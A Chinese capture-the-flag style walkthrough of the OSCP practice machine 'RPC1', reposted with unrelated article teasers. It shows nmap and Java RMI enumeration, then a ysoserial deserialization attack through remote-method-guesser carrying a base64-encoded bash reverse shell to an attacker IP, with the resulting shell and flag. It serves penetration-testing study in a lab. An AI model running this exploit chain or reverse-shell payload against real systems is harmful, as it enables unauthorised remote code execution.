OSCP靶场--RPC1

OSCP靶场–RPC1

考点

1.nmap扫描

##
┌──(root㉿kali)-[~/Desktop]
└─# nmap -sV -sC 192.168.227.236 -p- -Pn --min-rate 2500
Starting Nmap 7.92 ( https://nmap.org ) at 2024-04-14 22:21 EDT
Nmap scan report for 192.168.227.236
Host is up (0.14s latency).
Not shown: 65532 closed tcp ports (reset)
PORT      STATE SERVICE  VERSION
22/tcp    open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 62:36:1a:5c:d3:e3:7b:e1:70:f8:a3:b3:1c:4c:24:38 (RSA)
|   256 ee:25:fc:23:66:05:c0:c1:ec:47:c6:bb:00:c7:4f:53 (ECDSA)
|_  256 83:5c:51:ac:32:e5:3a:21:7c:f6:c2:cd:93:68:58:d8 (ED25519)
1099/tcp  open  java-rmi Java RMI
| rmi-dumpregistry: 
|   MessengerService
|      implements Server$MessengerService, 
|     extends
|       java.lang.reflect.Proxy
|       fields
|           Ljava/lang/reflect/InvocationHandler; h
|             java.rmi.server.RemoteObjectInvocationHandler
|             @127.0.0.1:46611
|             extends
|_              java.rmi.server.RemoteObject
46611/tcp open  unknown
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelService detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 89.35 seconds

2.user priv[rmi漏洞]

########################################################################
##
## rmi检测工具及安装:
https://github.com/qtc-de/remote-method-guesser
https://www.kitploit.com/2021/02/remote-method-guesser-tool-for-java-rmi.html
## 安装maven
apt install maven## kali:下载构建jar包
$ git clone https://github.com/qtc-de/remote-method-guesser
$ cd remote-method-guesser
$ mvn package## 进入target目录,构建好的工具:
cd remote-method-guesser/target
################################################################################################################################################
## 以上步奏可以省略,直接下载jar包使用:
## https://github.com/qtc-de/remote-method-guesser/releases/tag/v5.0.0
## 使用rmg工具进行rmi漏洞检测:
┌──(root㉿kali)-[~/Desktop/remote-method-guesser/target]
└─# java -jar rmg-5.0.0-jar-with-dependencies.jar enum 192.168.227.236 1099
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
[+] RMI registry bound names:
[+]
[+]     - MessengerService
[+]             --> Server$MessengerService (unknown class)
[+]                 Endpoint: 127.0.0.1:46611  CSF: RMISocketFactory  ObjID: [12f3d0bd:18e673824b6:-7fff, 6343196094061539252]
[+]
[+] RMI server codebase enumeration:
[+]
[+]     - The remote server does not expose any codebases.
[+]
[+] RMI server String unmarshalling enumeration:
[+]
[+]     - Server complained that object cannot be casted to java.lang.String.
[+]       --> The type java.lang.String is unmarshalled via readString().
[+]       Configuration Status: Current Default
[+]
[+] RMI server useCodebaseOnly enumeration:
[+]
[+]     - RMI registry uses readString() for unmarshalling java.lang.String.
[+]       This prevents useCodebaseOnly enumeration from remote.
[+]
[+] RMI registry localhost bypass enumeration (CVE-2019-2684):
[+]
[+]     - Registry rejected unbind call cause it was not sent from localhost.
[+]       Vulnerability Status: Non Vulnerable
[+]
[+] RMI Security Manager enumeration:
[+]
[+]     - Caught Exception containing 'no security manager' during RMI call.
[+]       --> The server does not use a Security Manager.
[+]       Configuration Status: Current Default
[+]
[+] RMI server JEP290 enumeration:
[+]
[+]     - DGC rejected deserialization of java.util.HashMap (JEP290 is installed).
[+]       Vulnerability Status: Non Vulnerable
[+]
[+] RMI registry JEP290 bypass enumeration:
[+]
[+]     - RMI registry uses readString() for unmarshalling java.lang.String.
[+]       This prevents JEP 290 bypass enumeration from remote.
[+]
[+] RMI ActivationSystem enumeration:
[+]
[+]     - Caught NoSuchObjectException during activate call (activator not present).
[+]       Configuration Status: Current Default############################
##
┌──(root㉿kali)-[~/Desktop/remote-method-guesser/target]
└─# java -jar rmg-5.0.0-jar-with-dependencies.jar guess 192.168.227.236 1099
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
[+] Reading method candidates from internal wordlist rmg.txt
[+]     752 methods were successfully parsed.
[+] Reading method candidates from internal wordlist rmiscout.txt
[+]     2550 methods were successfully parsed.
[+]
[+] Starting Method Guessing on 3281 method signature(s).
[+]
[+]     MethodGuesser is running:
[+]             --------------------------------
[+]             [ MessengerService ] HIT! Method with signature int logMessage(int dummy1, Object dummy2) exists!
[+]             [3281 / 3281] [#####################################] 100%
[+]     done.
[+]
[+] Listing successfully guessed methods:
[+]
[+]     - MessengerService
[+]             --> int logMessage(int dummy1, Object dummy2)############################################
## 设置payload为1行:
┌──(root㉿kali)-[~/Desktop]
└─# echo -n 'bash -c "bash -i >& /dev/tcp/192.168.45.195/9000 0>&1"'|base64 -w0
YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ1LjE5NS85MDAwIDA+JjEi ####################
##  下载:ysoserial.jar包
## https://github.com/frohoff/ysoserial/releases
┌──(root㉿kali)-[~/Desktop/remote-method-guesser/target]
└─# java -jar rmg-5.0.0-jar-with-dependencies.jar serial 192.168.227.236 1099 CommonsCollections6 'bash -c {echo,YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ1LjE5NS85MDAwIDA+JjEi}|{base64,-d}|{bash,-i}' --bound-name MessengerService --signature "int logMessage(int dummy1, Object dummy2)"  --yso /root/Desktop/ysoserial-all.jar  --position 1 --stack-trace
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
[+] Creating ysoserial payload... done.
[+]
[+] Attempting deserialization attack on RMI endpoint...
[+]
[+]     Using non primitive argument type java.lang.Object on position 1
[+]     Specified method signature is int logMessage(int dummy1, Object dummy2)
[+]
[+]     Caught ClassNotFoundException during deserialization attack.
[+]     Server attempted to deserialize canary class 4fe3410b05e44d528473de3d080044a9.
[+]     Deserialization attack probably worked :)
[-] 
[-]     StackTrace:
java.rmi.ServerException: RemoteException occurred in server thread; nested exception is: ....#######
## 反弹成功:
┌──(root㉿kali)-[~/Desktop]
└─# nc -nlvp 9000
listening on [any] 9000 ...
connect to [192.168.45.195] from (UNKNOWN) [192.168.227.236] 44068
bash: cannot set terminal process group (851): Inappropriate ioctl for device
bash: no job control in this shell
rmi-runner@rpc1:~$ whoami
whoami
rmi-runner
rmi-runner@rpc1:~$ ##################
##
rmi-runner@rpc1:~$ cat local.txt
cat local.txt
c3abbe21c09de2e4ce412f0c3ee5821b

在这里插入图片描述
我们看到一个对象绑定到MessengerService,端口46611脱颖而出:
在这里插入图片描述
我们通过暴力破解对象的有无公开方法:
在这里插入图片描述
反弹shell:
在这里插入图片描述

3. root priv[溢出攻击-略]


4.总结:

##
https://goodapple.top/archives/520
https://yoga7xm.top/2019/09/02/rmi/
https://book.hacktricks.xyz/network-services-pentesting/1099-pentesting-java-rmi
##
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Java%20RMI## rmi检测工具及安装: 直接下载jar包使用:
https://github.com/qtc-de/remote-method-guesser
https://www.kitploit.com/2021/02/remote-method-guesser-tool-for-java-rmi.html
https://github.com/qtc-de/remote-method-guesser/releases/tag/v5.0.0### ysoserial
https://github.com/frohoff/ysoserial
https://github.com/frohoff/ysoserial/releases##
https://blog.spoock.com/2018/11/25/getshell-bypass-exec/

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/620280.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

移动开发避坑指南——内存泄漏

在日常编写代码时难免会遇到各种各样的问题和坑,这些问题可能会影响我们的开发效率和代码质量,因此我们需要不断总结和学习,以避免这些问题的出现。接下来我们将围绕移动开发中常见问题做出总结,以提高大家的开发质量。本系列文章…

【产品经理修炼之道】- 厂商银业务之保兑仓

保兑仓 保兑仓是指供应商、购货商、银行签订三方协议,以银行信用为载体,以银行承兑汇票为结算工具,由银行控制货权,供应商受托保管货物并对银行承兑汇票保证金以外部分以货物回购为担保措施,购货商随缴保证金随提货而设…

不再写满屏import导入

密密麻麻的import语句不仅仅是一种视觉上的冲击,更是对代码组织结构的一种考验。 我们是如何做到让import“占领满屏“的了,又该如何优雅地管理这些import语句呢? 本文将从产生大量import语句的原因、可能带来的问题以及如何优化和管理impo…

Windows上的类似clock_gettime(CLOCK_MONOTONIC)的高精度测量时间函数

2024年4月11更新 感谢评论提醒,我之前写《如何在C/C中测量一个函数或者功能的运行时间(串行和并行,以及三种方法的实际情况对比)》的时候只实验了 Linux 和 Mac 这种类 Unix 系统,没考虑到 Windows。 本文只考虑第一方…

总结java中的synchronized锁

目录 synchronized的特性 synchronized的锁机制 synchronized的使用 synchronized的特性 synchronized主要有三大特性: 面试时经常拿synchronized关键字和volatile关键字的特性进行对比,synchronized关键字可以保证并发编程的三大特性:原子…

yolo系列(之一)

深度学习经典检测算法 two-stage (两阶段) : Faster-rcnn Mask-Rcnn系列 (输入图像---》CNN特征---》预选框---》输出结果) one-stage (单阶段): YOLO系列 (输入图像---》CNN特征---》输出结果) one-stage的特点:&…

python计算

优先级:小括号()>幂运算(指数)>正负号>算术运算(先乘除后加减)>比较运算>逻辑运算

网络基础(二)——传输层

1、再谈端口号 端口号(Port)标识了一个主机上进行通信的不同的应用程序; 在TCP/IP协议中, 用 "源IP", "源端口号", "目的IP", "目的端口号", "协议号" 这样一个五元组来标识一个通信(可以通过 netstat -n查看); 1.1、端口号…

【详细讲解下Photoshop】

🎥博主:程序员不想YY啊 💫CSDN优质创作者,CSDN实力新星,CSDN博客专家 🤗点赞🎈收藏⭐再看💫养成习惯 ✨希望本文对您有所裨益,如有不足之处,欢迎在评论区提出…

第十五届蓝桥杯c++b组赛后复盘和真题展示

题目变成八道了,分数一百分可能,感觉拿奖难度还是很高 第一题是一个简单的握手问题 答案算出来1204,纯手写 第二题是 物理题 纯蒙,随便猜了个轨迹,答案具体忘了,最后是 .45 第三题暴力 第四题 我是傻逼…

jenkins 宝塔部署及集成到码云自动构建代码

jenkins 宝塔部署及集成到码云自动构建代码 ps:本文所有涉及软件包一键下载 一、Jenkins包下载 大家可以从Jenkins官网(https://www.jenkins.io/)根据自己的需要下载最新的版本。 但Jenkins官网下载较慢,容易造成下载失败。可以去国内的开源镜像网站下载Jenkins最新版本。…

揭秘!这些部门对六西格玛技术情有独钟

当下,企业为了提升产品质量、降低成本、提高效率,纷纷寻求先进的管理方法和技术手段。其中,六西格玛技术因其卓越的绩效改善能力,受到了众多企业的青睐。那么,哪些部门对六西格玛技术情有独钟呢?天行健六西…